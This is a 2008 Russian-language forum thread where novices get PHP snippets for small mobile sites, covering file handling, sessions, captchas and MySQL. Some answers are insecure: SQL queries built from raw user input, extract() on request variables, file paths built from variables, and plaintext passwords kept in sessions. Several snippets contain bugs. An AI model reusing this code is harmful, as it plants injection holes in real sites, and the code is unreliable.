998. Удаленный (01.09.08 / 13:39)
У меня вот такой код но он выводит последнюю дату новости а мне надо сообщение
  $endnews = file("text/news.txt");
$endnews = $endnews[count($endnews)-1];
$endnews = explode("I", $endnews);
$endnews = $endnews[0];
$code .= "<a href='" . QueryParam(array(), 1, "news.php") . "'>Новости [ " . $endnews . " ]</a><font color = red>Читать всем!</font><br/>";
и на сайте это выглидит так: Новости [ 29.08.2008 ]Читать всем!
ПРИНОШУ ИЗВЕНЕНИЯ ЗА ПОВТОРНОЕ СООБЩЕНИЕ ПРОСТО С ТЕГАМИ ПЕРЕПУТАЛ

999. SeeNoos (01.09.08 / 13:43)

<?
$endnews = file("text/news.txt");
$endnews = $endnews[count($endnews)-1];
$endnews = explode("I", $endnews);
$endnews = $endnews[0];
$code .= "<a href='" . QueryParam(array(), 1, "news.php") . "'>Новости [ " . $endnews . " ]</a><br />'.$endnews[1].'<br/>";
?>


1000. SeeNoos (01.09.08 / 13:51)
Точнее

<?
$endnews = file("text/news.txt");
$endnews = $endnews[count($endnews)-1];
$endnews = explode("I", $endnews);
$endnews = $endnews[0];
$code .= "<a href='" . QueryParam(array(), 1, "news.php") . "'>Новости [ " . $endnews . " ]</a><br />".$endnews[1]."<br/>";
?>


1001. Удаленный (01.09.08 / 14:00)
Блин при много благодарин огромное спасибо

1002. Удаленный (02.09.08 / 14:09)
куда писать эти куски пхп кода в соседней теме? надо писать в индекс или создавать файлы?

1003. Удаленный (03.09.08 / 18:29)
ответьте!

1004. SeeNoos (03.09.08 / 19:01)
Нормально вопрос задай и ответим

1005. Удаленный (03.09.08 / 23:01)
#1023 я ,конечно, ме понял твоей шутки . что в вопросе ме понятного? я спрашиваю , в теме Полезные куски пхп кода, люди выложили куски пхп кода

1006. Удаленный (03.09.08 / 23:03)
так вот ,куда надо писать эти коды? в index.php в корневой или надо создать файл и вписать туда? понял теперь?

1007. SeeNoos (03.09.08 / 23:19)
Вот как считаешь,я походж на телепата? Во-первых,на момент написания моего поста небыло информации в какой именно теме.Во-вторых,из 14 страниц кусков кода я должен угадать n-е количество кусков на n-й странице?

1008. Wapruks (04.09.08 / 02:11)
куда надо туда и пиши

1009. Удаленный (05.09.08 / 13:22)
nu naprimer kusok kotoryi perevodit sait v wml versiju

1010. ImgStudio (05.09.08 / 21:34)
как на моторе сделать рефф систему?

1011. ImgStudio (05.09.08 / 21:35)
для 17.5 версии

1012. script (10.09.08 / 07:48)
ребят помогите пожалуйста,как написать код кто онлайн на сайте

1013. Titov (10.09.08 / 10:46)
1031 сам где искал то?в паблике(висави) есть рабочие онлайн счетчики на файлах,установка до 10 минут,если не найдеш то приду с работы дам тебе прямую ссылку на него.

1014. ZloiKombat (12.09.08 / 13:20)
Кто подскажет как сделать что бы незарегистрированые юзеры могли читать описание програмок,а скачкавать не могли.А скачивать могли только Зареганые юзеры?Может кто помочь?Пхп страницы лежат в одной папке,а файлы для скачивания в другой.Мотор 18.0

1015. ZeRoM (12.09.08 / 15:51)
Я знаю как эт сделать...
Ну я коротко обьяснять не умею...гг
Там короче проверку нужно через if делать
Лучше попроси кого нибудь).gifчтобы сделали
Так быстрее будет

1016. Удаленный (12.09.08 / 16:18)
1034 вот 1033 ща тебя и попросит

1017. SD-k790 (13.09.08 / 00:57)
Блин, помогите с регулярками пжалста. . Всю голову с этими шаблонами сломал. Как составить шаблон, по которому в веденный текст проверяется на присутсвие рус, англ букв, точки, подчеркивания и тире. Проверяю ф-ей eregi.
Если можете, подкиньте линк, где об этом ПОДРОБНО почитать. Заранее огромное спасибо

1018. Удаленный (15.09.08 / 03:38)
Дайте плиз код или скрипт подсчета количества,веса файлов в папке...Чёта было гдето не найду...

1019. Wapruks (15.09.08 / 05:01)
в полезных кусках кода было вроде

1020. Удаленный (15.09.08 / 05:09)
А блин,точно,оно в начале,а я с конца пару страниц посмотрел там небыло...Сенькс...

1021. Удаленный (15.09.08 / 05:22)
Не блин,чёта совсем не вкурю как он работает...

1022. ZloiKombat (15.09.08 / 07:55)
Ответьте кто нибудь на мой пост 1033

1023. SeeNoos (15.09.08 / 10:55)
Ветвление тебе в помощь в сочетании с сессионными переменными

1024. myz-tv (22.09.08 / 08:55)
1041, у тебя мотор?

1025. Удаленный (22.09.08 / 17:53)
Подскажите как засунуть значение переменной в кукис, и как его достать потом обратно, и удалить с куков...

1026. myz-tv (23.09.08 / 08:05)
http://php.su/phphttp/?cookies

1027. Удаленный (23.09.08 / 09:49)
1045 спс

1028. Удаленный (26.09.08 / 10:29)
уверен, что данные вопрос уже сто раз обсуждался, но всё же не судите строго...
как сделать автовыбор скина на моторе? к примеру если комп, то вэб тема, если телефона и опера мини то обычная ? заранее спасибо

1029. Удаленный (26.09.08 / 19:16)
1047 смотри в архиве скриптов для мотора, там есть такое..

1030. Denicht (29.09.08 / 23:28)
кто нибудь может обьяснить, как работает отправка скриптом смс на телефон? хотяб принцип, есть задумка одна..

1031. Zmey89 (30.09.08 / 21:38)
1049 либо email шлюз оператора, либо стоит граб отпавки смс через сайт оператора, во втором случаи как обычно необходимо ввести каод с картинки

1032. dizzyy (02.10.08 / 13:51)
дай те пожалуйста код "загрузки для и модель телефона", думаю поняли о чем я

1033. Godzilla (03.10.08 / 05:52)
Как можно сделать,
чтоб из файла читать строки по порядку, +1 +1.
Например есть тхт файл, надо из него прочитать по очереди каждую строку.???

1034. Gnom (03.10.08 / 12:14)
разбей етот файл каждую строку в масив $file=file("tekst.txt");
а тебе как надо каждую сроку на разных страницах или как?

1035. myz-tv (03.10.08 / 14:37)
 $file=file('bobr.txt');
echo explode('<br/>',$file);
или
  $file=file('bobr.txt');
$size=sizeof($file);
for($i=0,$i>$s ize,$i++){ echo 'Строка номер '.$i.' '.$file[$i].'<br/>'; }


1036. Godzilla (04.10.08 / 01:28)
• 1053. На главную,• 1054. Муз-ТВ, СПАСИБО!
Ещё вопрос...
Как можно сгенерировать числа, но по порядку 0+1>+1>+1....
То есть, rand генерирует случайные числа,
а надо добиться, чтоб,
допустим для переменной $strok генерить числа по возрастанию +1...

1037. Gnom (04.10.08 / 17:18)
$strok++ постоянно будет добовлять по единице только сначала обьяви ее вот так $strok=0

1038. Удаленный (04.10.08 / 17:24)
1051 поищи в другой теме, там есть

1039. Pobanu (04.10.08 / 18:05)
1051# вставь этот код в нужное место страницы
<font color="black"><b>Всё лучшее для</b></font><br/><font color="black"><b><script language="JavaScript" type="text/javascript" src="http://lenivye.org.ru/vizitor2.js.php"></script><noscript>твоей мобилы!</noscript></b></font><br/>


1040. Удаленный (05.10.08 / 13:47)
извиняюсь если был уже такой вопрос, поиск не помогает, а тему листать долго.
подскажите плз скриптик (если вобще такое возможно), чтобы открывал файл (например users.dat) искал строку с нужным мне словом(ником) (например SKEP) и удаляла эту строку, вроде сформулировал понятно ).gif заранее спс

1041. z-kzn-z (06.10.08 / 23:56)
конечно, можно)
вот так попробуй

$file = file("users.dat");
$c = 0;
for($i = 0; $i < sizeof($file); $i++)
if(preg_match('/SKEP/i', $file[$i])) {
$c = $i;
break;
}
if($c == 0) die("Строка не найдена..");
$file[$c] = "";
file_put_contents("users.dat", implode($file));


1042. Удаленный (07.10.08 / 03:28)
Пасиб, доберусь до компа попробую ).gif

1043. Aleksandr (07.10.08 / 22:59)
в файле несколько строк. как сделать проверку существования слова в какой бы строке небыло слово?

1044. z-kzn-z (08.10.08 / 19:12)

function string_in_array($array, $string) {
for($i = 0; $i < sizeof($array); $i++) if(preg_match("/".$string."/", $array[$i])) return true;
return false;
}
$array = file("a1.txt");
if(string_in_array($array, "gdmod")) echo "yes"; else echo "no";


1045. Gamal (08.10.08 / 19:56)
подскажите как создать еще одну страницу для мотора 17.5 есть ли некий шаблон. поиском по форуму не чего не нашел. заранее спасибо.

1046. ArchangeL (10.10.08 / 11:35)
Ребят,какой код и где нужно вставлять,чтобы авторизация была на главной страницы как здесь http://h-kteam.net (***)?как так сделать?если можно напишите сюда и в приват,за ранее спасибо

1047. Playa (12.10.08 / 00:07)
#1065 открой мотор и погляди... Здесь авторизу долго писать

1048. Wapruks (12.10.08 / 01:52)
например у меня есть файл.тхт в котором прописаны модели телефонов.Как его прочесть?функцией file()?и как сделать условие,например if(модель телефона из файл.тхт=сименс){
ыы
}
else{
гы
}

1049. dizzyy (12.10.08 / 11:17)
какой пхп код нужен для того чтобы на главной показывало обшее количество юзеров.?

1050. z-kzn-z (12.10.08 / 11:44)
Wapruks, функция file() читает все строки файла в массив. например

$array = file('file.txt');

если тебе надо проверить определенную строку файла, например четвертую, тогда так..

if($array[3] == 'Siemens') {
//что-то
} else {
//что-то еще
}


1051. z-kzn-z (12.10.08 / 11:44)
dizzyy, количество где? на форуме, на сайте, онлайн?

1052. Wapruks (12.10.08 / 12:33)
1069.спасибо большое.Ещё напиши плиз про elseif() на примере

1053. Удаленный (12.10.08 / 12:34)
1068, какой движок?

1054. z-kzn-z (12.10.08 / 12:56)
1071, а что тут написать?
как используется elseif? ).gif
ну вот например, если а = 5, то <что-то>, если же а = 6, то чтото, если 7, то что-то еще, а если ни тому, ни другому, ни третьему, то что-то еще)))

if($a == 5) <что-то>; elseif($a == 6) <что-то>; elseif($a == 7) <ченить еще>; else <не равно>;


1055. Wapruks (12.10.08 / 13:13)
ещё раз спасибо).gifа если у меня есть например массив $a[1]="siemens";
$b[2]="sonyericsson";
как с помощью elseif()сделать?например if(array($a[1]="siemens")){
что-то
}
и т.д

1056. z-kzn-z (12.10.08 / 13:17)
не за что) у тебя это в одном массиве $a все, или в разных, $a и $b? если в одном, и если я правильно понял что ты хочешь , тогда

if($a[1] == "siemens") {
// что-то
} elseif($a[2] == "sonyericcson") {
// чтото
}


1057. Wapruks (12.10.08 / 13:27)
1075.да,да то самое,ещё раз ОГРОМНОЕ спасибо

1058. Wapruks (12.10.08 / 13:39)
а какой функцией делать запись в базу?

1059. z-kzn-z (12.10.08 / 16:46)
MySQL? функции специальной нету, выполняй SQL запрос функцией mysql_query():

mysql_query("INSERT INTO имя_таблицы VALUES(тут данные, которые добавляешь [если строка, то обязательно в кавычках, не двойных например 'string']);");

вот нормальный пример:

mysql_query("INSERT INTO users VALUES(1, 'login', 'password', '[email protected]');");


1060. CHELOVEK (12.10.08 / 19:10)
подскажите пажалуста на пхп страницу как сделать вивод случаини текст,например кагда заходиш текст - всем привет а после обновление -всем здарова. спасибо!

1061. z-kzn-z (12.10.08 / 19:17)
$array[] = "всем привет";
$array[] = "всем здарова";
$array[] = "здаров чувак";
$array[] = "как жызнь?";
echo $array[rand(0, sizeof($array)-1)];


1062. CHELOVEK (12.10.08 / 20:56)
1080. спасибо!).gif

1063. Wapruks (13.10.08 / 11:46)
дайте пожалуйсто пример самой лёгкой каптчи и её проверки

1064. Wapruks (14.10.08 / 15:14)
и ещё...Как сделать запись в мускул из поля ввода?Например есть поле,в него надо ввести логин.Как записать то,что введёт в этом поле юзер?

1065. paradoks (14.10.08 / 15:15)
1082,эт мне тож нужно

1066. Wapruks (15.10.08 / 05:09)
ау народ.Ответьте на 1083 пост.Надо позарез

1067. Wapruks (15.10.08 / 07:12)
желательно на примере покажите

1068. Aleksandr (15.10.08 / 08:50)
найди простую гостю на мускуле

1069. Suliman (15.10.08 / 09:04)
Вот те текстовая каптча:

<?
$_SESSION['prov_kod']=mt_rand(100000,999999);
ecno $_SESSION['prov_kod'];
?>

Проверка:

<?
if($_SESSION['prov_kod'] != $_POST['prov_kod']) echo 'Проверочное число не совпало!'; else echo 'Всё отлично!';
?>


1070. Suliman (15.10.08 / 09:05)
Вот те текстовая каптча:

<?
$_SESSION['prov_kod']=mt_rand(100000,999999);
echo $_SESSION['prov_kod'];
?>

Проверка:

<?
if($_SESSION['prov_kod'] != $_POST['prov_kod']) echo 'Проверочное число не совпало!'; else echo 'Всё отлично!';
?>


1071. Suliman (15.10.08 / 09:09)
И вот это почитай
http://php.su/mysql/?function
http://php.su/mysql/?commands

1072. paradoks (15.10.08 / 10:55)
Спасибо сулиман

1073. Wapruks (17.10.08 / 08:29)
у меня идёт запись в файл из поля ввода.Как вывести этот файл,чтобы небыло всё в куче,а каждое сообщение введённое в поле,на новой строке?

1074. SKAZ0CHN1k (17.10.08 / 09:26)
$а=nltobr($a); или вторая какая то другая буква, память...

1075. ZeRoM (17.10.08 / 09:26)
В коде сделай, чтобы новое сообщение, записывалось, с новой строки!
Потом возьми все в массив, file('msg.txt');
И с помощью цикла выводи все содержимое файла....
Это легко....

1076. megabit (17.10.08 / 09:26)
*nl2br

1077. Wapruks (17.10.08 / 12:23)
с nl2br не смог сделать...

1078. Suliman (17.10.08 / 15:35)
Эта функа после или перед и заменят перенос строки на бр,или чета типа точно непомню

1079. Suliman (17.10.08 / 15:37)
При записи переноси на новую строку,а при выводе цикл

1080. Wapruks (17.10.08 / 15:45)
я сделал просто после переменной которую записываю ".\r\n",а потом заменил это на <бр>).gif

1081. Wapruks (17.10.08 / 15:47)
я сделал просто после переменной которую записываю ".\r\n",а потом заменил это на <бр>).gif

1082. Wapruks (18.10.08 / 07:10)
у меня есть файл.дат,а в нём записи.Как можно очистить этот фал?не удалить его,а очистить от записей

1083. megabit (18.10.08 / 07:48)
1101. перезаписать

1084. Aleksandr (18.10.08 / 08:39)
$fp=fopen("file.dat","w");
fclose($fp);
chmod ("file.dat", 0666);

1085. Wapruks (18.10.08 / 08:43)
1102,1103 спасибо

1086. Suliman (18.10.08 / 09:57)
file_put_contents(''file.dat','');

1087. Suliman (18.10.08 / 09:58)
file_put_contents('file.dat','');

1088. Wapruks (18.10.08 / 09:59)
1105.точно.Забыл совсем

1089. CCCP (20.10.08 / 16:11)
Как поставить счетчики на сайт? получил код и не знаю,что делать!

1090. Suliman (20.10.08 / 16:14)
Bписываешь этот код на страницу и всё:-)

1091. paradoks (20.10.08 / 17:34)
как сделать например вывод сообщений их гостевой
что бы новые были сверху

1092. SKAZ0CHN1k (20.10.08 / 17:44)
MySQL: select ... order by id DESC
файлы: циклом перебирай в обратном направлении. От макс. до 0.

1093. paradoks (20.10.08 / 17:45)
мну нужно для файлов без базы

1094. paradoks (20.10.08 / 18:00)
тьфу спасибо понял....

1095. paradoks (20.10.08 / 21:31)
вот еще вопрос...как вывести номер поста?
например
"1.hello world
2.тарам пам пам"
и так далее

1096. Удаленный (20.10.08 / 23:09)
i++; в конце цикла

1097. Удаленный (20.10.08 / 23:10)
$i++; всмысле гГ

1098. SKAZ0CHN1k (20.10.08 / 23:14)
Выводи в цикле переменную перебора.

1099. paradoks (20.10.08 / 23:16)
угу спасибо всем

1100. paradoks (20.10.08 / 23:27)
1116,я так и сделал просто забыл ещекнуть ее....гг

1101. paradoks (21.10.08 / 11:13)
как сделать что бы отщет постов начинался не с 0 а с 1

1102. Удаленный (21.10.08 / 16:58)
Плохо тебя понял, мож это
 for($i=1;$i<$total;$i++) { ... } 


1103. HardSsSsS (22.10.08 / 16:44)
парни, скажите пожалуйста как сделать постраничную навигацию?

1104. paradoks (22.10.08 / 16:47)
в полезных кусках кода посмотри

1105. fopps (24.10.08 / 13:02)
подскажите код плз.
вот, есть текс, при обновлении страницы он меняеться на другой)
как эт зделать?

1106. myz-tv (24.10.08 / 13:33)
Есле случайный то он есть в полезных куска

1107. Удаленный (24.10.08 / 15:52)
можно так

srand((float) microtime() * 10000000);
$text_array = array('text1','text2','text3','text4');
echo $text_array[array_rand($text_array)];


1108. SeNyA (24.10.08 / 15:59)
Функцией random (0,99)

1109. myz-tv (27.10.08 / 10:44)
<? 
$a[]='text 1';
$a[]='text 2';
$a[]='text 3';
$a[]='text 4';
$a[]='text 5';
$r=rand(0,4);
print $a[$r];
?>


1110. lugaro (28.10.08 / 04:13)
Как сделать очистку файле к примеру через каждые 10 дней?

1111. uoker (28.10.08 / 16:44)
Скажите код реётинга фалов
ПЖЛ

1112. uoker (28.10.08 / 16:46)
Скажите код рейтинга файлов
ПЖЛ

1113. Suliman (28.10.08 / 19:25)
1129,если в фаиль чета записываеца то это можно осушествить только записывая куданибудь время последней очистки...если нет то сравнивать время последнего изменения и время сейчас,но тогда это както неимет надобности...

1114. lugaro (28.10.08 / 23:27)
1132 как проверить дату создания файла?

1115. Suliman (29.10.08 / 00:16)
filemtime(); возвращает дату последнего изменения файла

1116. lugaro (29.10.08 / 00:44)
Спасиб.
Кто знает как удалить строку из файла? И ещё как очистить файл до нуля?

1117. Удаленный (29.10.08 / 00:51)
Способов несколько, считываешь построчо файл в массив, удаляешь из массива строку и записываешь обратно в файл. Или копируешь все, что до и посде нужной строки в другой файл, удаляешь исходный файл, второй переименовываешь в имя первого.
Для очистки файла достаточно открыть его в режиме "w"...

1118. lugaro (29.10.08 / 01:26)
"Способов несколько, считываешь построчо файл в массив, удаляешь из массива строку и записываешь обратно в файл" можеш пример привести?

1119. Удаленный (29.10.08 / 01:50)
Ну как-то так ))

$StringNumber = 5;
$File = fopen("tratata.txt", "r+");
while (!feof($File)) $Data[] = fgets($File);
unset($Data[$StringNumber - 1]);
file_put_contents("tratata.txt", NULL);
fwrite($File, implode('\n', $Data));
fclose($File);


1120. Gnom (29.10.08 / 01:50)
$text=file("text.txt");
$text[0] это первая строка
$text[1] это вторая строка
вот так).gif

1121. lugaro (29.10.08 / 02:03)
1138 спасибо.И если не тяжело можеш закоментировать строки? ато некоторые строки не пойму ).gif ес не тяжело.

1122. Удаленный (29.10.08 / 08:40)

/*НОМЕР УДАЛЯЕМОЙ СТРОКИ*/
$StringNumber = 5;
/*ОТКРЫВАЕМ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ\ЗАПИСИ */
$File = fopen("tratata.txt", "r+");
/*СЧИТЫВАЕМ ПОСТРОЧНО СОДЕРЖИМОЕ ФАЙЛА В МАССИВ*/
while (!feof($File)) $Data[] = fgets($File);
/*УДАЛЯЕМ ИЗ МАССИВА НАШУ СТРОКУ*/
unset($Data[$StringNumber - 1]);
/*ТИПА ОЧИЩАЕМ ФАЙЛ*/
file_put_contents("tratata.txt", NULL);
/*ЗАПИСЫВАЕМ ОСТАЛЬНЫЕ СТРОКИ ОБРАТНО В ФАЙЛ*/
fwrite($File, implode('\n', $Data));
/*НУ И ЗАКРЫВАЕМ ФАЙЛ :)*/
fclose($File);


1123. lugaro (29.10.08 / 08:44)
Спасибо

1124. Tesei (29.10.08 / 09:07)
Подскажите, что не так. Должно работать (без функции считает)
Должно выдавать если товар равен $type, то пишет сумму массива. Заключаю в функцию и не пашет

function get_sum($TOBAP)
{
for ($i = 0; $i < $count; $i++)
{ $array = explode("][",$file[$i]);
if($array[3]==$r)
{$TOBAP[]=$array[ 4];}
}
$TOBAP= array_sum($TOBAP);
return $TOBAP;
}
$type = "DVD-100";
echo get_sum($type);


1125. Tesei (29.10.08 / 09:17)
поправка
$r = "DVD-100";
echo get_sum($r);

1126. Удаленный (29.10.08 / 09:22)
global $TOBAP; - попробуй поставить в начале функции.

1127. Tesei (29.10.08 / 09:24)
Неа((

1128. Tesei (29.10.08 / 09:54)
спасибо за помощь сам разобрался) переменные $file и $count не записываются в функцию по не ясной причине ))

1129. Tesei (29.10.08 / 10:03)
def1, спс. Все таки дело было в global, только не товар, а значения в file

1130. Wapruks (30.10.08 / 00:23)
Где взять инфу про сессии и про хитачесс?

1131. Wapruks (30.10.08 / 05:29)
Что никто не знает?

1132. lugaro (30.10.08 / 05:50)
http://htaccess.net.ru/
а по сесиям глянь на http://php.su

1133. Wapruks (30.10.08 / 05:57)
Спасиб большое.

1134. Wapruks (30.10.08 / 07:06)
$a=fopen('file.dat','a+');
fwrite($a,тратата."\n");
fclo se($a);
$fp=file_get_contents("file.dat");
echo $fp;
Почему перенос не робит?

1135. SKAZ0CHN1k (30.10.08 / 07:20)
"тратата\n"

1136. Wapruks (30.10.08 / 07:23)
Синтаксическая ошибка

1137. Suliman (30.10.08 / 07:35)
Я так записываю
$text="tratata";
$a=fopen("file.dat","a+");
fwrite($a,"$text\r\n");
fclose($a);

1138. Wapruks (30.10.08 / 07:43)
Смотрите что выдаёт http://wtestw.h2m.ru

1139. myz-tv (30.10.08 / 08:56)
Робит все, только в хтмл он невиден пиши <br/>

1140. Playa (30.10.08 / 23:44)
вот у меня вопрос:-) нужно сделать как типа в библиотеке вывод. Есть к примеру таблица со строками id, name, text. Так вот - как сделать вывод как в библиотеке? Учитывается id, на странице показываются данные из строки name (ну это как название). Когда переходишь по ссылке названия - выводится уже данные из строки text. Та же самая библа получаетсо, только текст хранится не в файлах, а в бд. Мозгов не хватает допереть%)

1141. Удаленный (31.10.08 / 02:14)
примерно так

<?php
$id = isset($_GET['id']) ? intval($_GET['id']) : '';
if(empty($id)) {
$query = "SELECT name,id
FROM tbl
LIMIT 0,20";
$res = mysql_query($query) or die("error sql : $query");
while($row = mysql_fetch_assoc($res)) {
$id = $row['id'];
$name = $row['name'];
echo "<a href = '?id=$id'>$name</a><br />";
}
} else {
$query = "SELECT name
FROM tbl
WHERE id = $id";
$res = mysql_query($query) or die("error sql : $query");
if(mysql_num_rows($res) == 0) die('NOT FOUND');
$text = mysql_result($res , 0);
echo $text;
}


1142. Удаленный (31.10.08 / 02:16)
ток если текст большой нужно резать

1143. Playa (31.10.08 / 12:23)
спасибо, попробую вечером:-)

1144. Playa (01.11.08 / 08:07)
чего-то не выводит%) сначала на первый query ругалсо, щас вообще молчит

1145. Playa (01.11.08 / 08:35)
<? echo"case('index'):
echo'<div class=head>Заголовок</div><hr>

<a href="index.php?mod=adds">Добавить</a><hr>';
$id = isset($_GET['id']) ? intval($_GET['id']) : '';
if(empty($id)) {
$query = "SELECT name,id
FROM statx LIMIT 0,20";
$res = mysql_query($query) or die("error sql : $query");
while($row = mysql_fetch_assoc($res)) {
$id = $row['id'];
$name = $row['name'];
echo "<a href = '?id=$id'>$name</a><br />";
} } else {
$query = "SELECT name
FROM statx;
WHERE id = $id";
$res = mysql_query($query) or die("error sql : $query");
if(mysql_num_rows($res) == 0) die('NOT FOUND');
$text = mysql_result($res , 0);
echo $text;
}
break;
"; ?>

1146. Playa (01.11.08 / 08:39)
вообще в кейс это можно вставлять?:-) или надо отдельно сделать?

1147. Playa (01.11.08 / 19:39)
я извиняюсь, всё работает:-) просто невнимательность. Названия полей перепутал гг не name, а title. Сам создавал и сам спутал:-) Unholy, если дорастешь - плюс поставлю:-)

1148. Wapruks (02.11.08 / 04:45)
где про сессии прочитать?на пых.су ничё не понял.Или мош кто даст пример с коментами).gif

1149. Playa (02.11.08 / 06:12)
#1167 http://www.softtime.ru/bookphp/gl8_1.php тут всё понятно

1150. Wapruks (02.11.08 / 10:45)
такой вопрос.Как сделать,чтобы $_SERVER['HTTP_USER_AGENT'] выводило например так: SonyEricssonK750i без всякой фигни дальше

1151. lugaro (02.11.08 / 13:53)
1169
<?php
$ua=$_SERVER['HTTP_USER_AGENT'];
echo strtok($ua,'/');
?>


1152. lugaro (03.11.08 / 15:36)
1167
<?php ## Пример работы с сессиями.
session_start();
// Если на сайт только-только зашли, обнуляем счетчик.
if (!isset($_SESSION['count'])) $_SESSION['count'] = 0;
// Увеличиваем счетчик в сессии.
$_SESSION['count'] = $_SESSION['count'] + 1;
?>
<h2>Счетчик</h2>
В текущей сессии работы с браузером Вы открыли эту страницу
<?=$_SESSION['count']?> раз(а).<br>


1153. Wapruks (05.11.08 / 06:54)
почему не робит???
файл index.php
<?php
$host="localhost";
$user="db_wtestw";
 6;pass="pass";
$s=mysql_connect($host,$user,$pass);
$cd="my sql_create_db("db")";
if($cd){
mysql_select_db(db,$s);
$table=&q uot;CREATE TABLE test(id_test int(6) NOT NULL auto_increment,test text NOT NULL PRIMARY KEY (id_test) ) TYPE=MyISAM";
mysql_close($s);
?>

1154. Wapruks (05.11.08 / 08:01)
уже разобрался).gif

1155. Night (05.11.08 / 20:19)
$a=array('a'=>10, 'b'=>20);
$b=array('b'=>10);
Как обновить при помощи цикла foreach($b as $k=>$v) $a[$k]=$v;

1156. z-kzn-z (06.11.08 / 21:14)
что обновить?

1157. Godzilla (06.11.08 / 22:47)
Какая разница в строках,
и может ли это, отразится на безопастности???
<?
$text = @file("../local/profil/$log.prof");

и
<?
$text = @file('../local/profil/'.$log.'.prof');


1158. Godzilla (06.11.08 / 22:52)
И какой код предпочтительнее???

1159. z-kzn-z (06.11.08 / 23:12)
1. разницы нету. ну то есть есть, но результат будет один и тот же.
2. это дело вкуса

1160. Godzilla (06.11.08 / 23:31)
А при регглобалс офф ,
совместимы оба вида строки???

1161. z-kzn-z (06.11.08 / 23:42)
да. скажем так, register globals на это не влияет)

1162. Wapruks (07.11.08 / 12:53)
как создавать свои функции?например function tratata($a){
tratata
}

1163. z-kzn-z (07.11.08 / 14:46)
да

function some_function( ..parameters.. ) {
// если функция что-то возвращает, то return $что-то;
}


1164. Wapruks (08.11.08 / 06:33)
какую структуру будет иметь таблица photo,в которой хранятся изображения?

1165. Suliman (08.11.08 / 07:04)
Фотки в базе хранить неочень хорошо...

1166. Wapruks (08.11.08 / 07:11)
а где?

1167. SKAZ0CHN1k (08.11.08 / 09:12)
Ты их в бэйс64 собрался хранить? Храни в файлах и делай запись о названии в базу.

1168. Wapruks (08.11.08 / 09:17)
а если 30000 человек загрузят по фотки три и надо будет всё вывести,сервак не сдохнет?ещё мало о пыхе знаю...

1169. z-kzn-z (08.11.08 / 09:39)
ты имеешь ввиду одновременно? сервак не сдохнет, а вот мускул не выдержит и 1000 одновременно открытых соединений.

1170. z-kzn-z (08.11.08 / 09:47)
хотя может выдержит, но все равно лучше в файлах.

1171. SKAZ0CHN1k (08.11.08 / 09:49)
Но учти, что эти запросы исполняются намного(!) меньше секунды, поэтому одновременно 3ххххх чел ну никак не обратятся..

1172. SKAZ0CHN1k (08.11.08 / 09:53)
В файлах, а как ты сделаешь сопоставление названия и файла? Чтение из файла занимает намного больше ресурсов чем выборка из базы. Что думаешь визави на отдельном сервере, а я на обычном хостинге, хоть у мну и по 5000 хостов? Был бы на файлах у мну б загрузка была оогого.

1173. Удаленный (08.11.08 / 18:29)
в бызе обычно хранят только путь до картинки
и другие параметры(имя,дата и тд)
а сама картинка спокойно лЕжит в папке
).gif

1174. Wapruks (09.11.08 / 02:40)
если я в базу записываются пароли в мд5 их потом можно будет использовать?

1175. Suliman (09.11.08 / 02:56)
Использовать для чего?

1176. Wapruks (09.11.08 / 03:03)
например для авторизации

1177. Suliman (09.11.08 / 03:09)
Для авторизации можно канешн,тока вводамые юзером данные перед сравнением надо тож в мд5 перевести,а вот чтоб к примерт вывести юзеру ссылку для автовхода с его данными это уже неподет,для этого при авторизации надо в сессию писать пароль открытый,а лучше зашифрованый алгоритмом шифровки по ключу,и выводить его

1178. Wapruks (09.11.08 / 03:17)
спасибо.Ещё такой вопрос.Будет работать такой код
session_start();
$cod=rand(1000,9999);
$_SESSSION['cod']=$cod;
сдес ь форма
<input type="text" name="cod>
if($_GET['cod']=$_SESSION['cod']){
трата та
}else{
error
}

1179. z-kzn-z (09.11.08 / 11:35)
только не if(... = ... ), а if(... == ...), и в 3й строке у тебя SESSION с 3мя S, надо с 2мя.
по идее будет

1180. Night (09.11.08 / 12:12)
как бы описать ситуацию. Короче есть два файла например просто.пхп и индекс.пхп и вот короче надо сделать так чтобы файл просто.пхп сначала исполнялся а результат его выводился через индекс. А не так что делает инклуд. Так как инклуд вроде как типа берет содержимое файла просто.пхп и вставляет в индекс.пхп а надо сначала чтобы файл исполнялся а уже после результат исполнения шел в индекс.

1181. myz-tv (09.11.08 / 12:32)
1199, просто открой его
<?php echo 'йа index.php'; readfile('adres/prosto.php');  ?>
учти то что эта функция заходит по адресу файла и выводит результат, поэтому это немого медленние инклуда

1182. Night (09.11.08 / 12:44)
это в индексе надо написать $prosto=readfile('prosto.php');
А потом выводить через эхо $prosto; ?

1183. myz-tv (09.11.08 / 13:12)
1201, нет echo ненадо, эта функция сразу выводит

1184. Night (09.11.08 / 23:09)
for($i=0; $i<4; $i++);
echo $i;
Почему выводит 4?

1185. Night (09.11.08 / 23:11)
короче лучше другой вопрос как сделать чтобы вывозились числа по порядку, после каждого обновления страницы? После того как показалось последнее число все началось сначала?

1186. Удаленный (09.11.08 / 23:55)
for($i=0; $i<4; $i++) {
echo $i."&nbsp;";
}

1187. Godzilla (10.11.08 / 02:09)
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
как правильно перевести на суперглобалс???
Если $HTTP_GET_VARS заменяется на $GET,
ну и $HTTP_POST_VARS на пост соответственно...

1188. Wapruks (10.11.08 / 06:34)
у меня в галерее если заходит админ,на страницу с юзерами,у него так: ник_юзера[s] и надо,чтобы если админ нажал на дел,то юзер удаляется.Как вычеслить ник юзера у которого админ нажал дел?

1189. Wapruks (10.11.08 / 08:29)
ау?чё никто не поможет?

1190. myz-tv (10.11.08 / 09:03)
1204, для каждого отдельно ?

1191. myz-tv (10.11.08 / 09:05)
06, есле я понял верно . global($peremennay);

1192. myz-tv (10.11.08 / 09:08)
07, когда на этой странице идет вывод из базы например $nаnе ник , поставь где он выводится ссылку на страницу уаления вида site.ru/del.php?user=$name

1193. Wapruks (10.11.08 / 09:15)
например SELECT * FROM usersWHERE name=$user
так?

1194. Wapruks (10.11.08 / 09:38)
мм???

1195. Night (10.11.08 / 11:16)
$text="Hello from [email protected]";
$it=preg_replace('/(\S+)@([a-z0-9.]+)/is', llod, $text);
Вот почему в это коде мыло заменится? Если часть после @ я понимаю почему вырежит то часть до никак не въеду. И что означает знак плюс?

1196. Night (10.11.08 / 16:55)
так с этим кодом разобрался. Теперь не могу разобраться как сделать вывод чисел по порядку. Например первый раз обратился к странице выведет 1 второй раз 2 третий раз 3. Подскажите пожалуйста.

1197. Удаленный (11.11.08 / 14:32)
например).gif

session_start();
if(!isset($_SESSION['num'])) $_SESSION['num'] = 1;
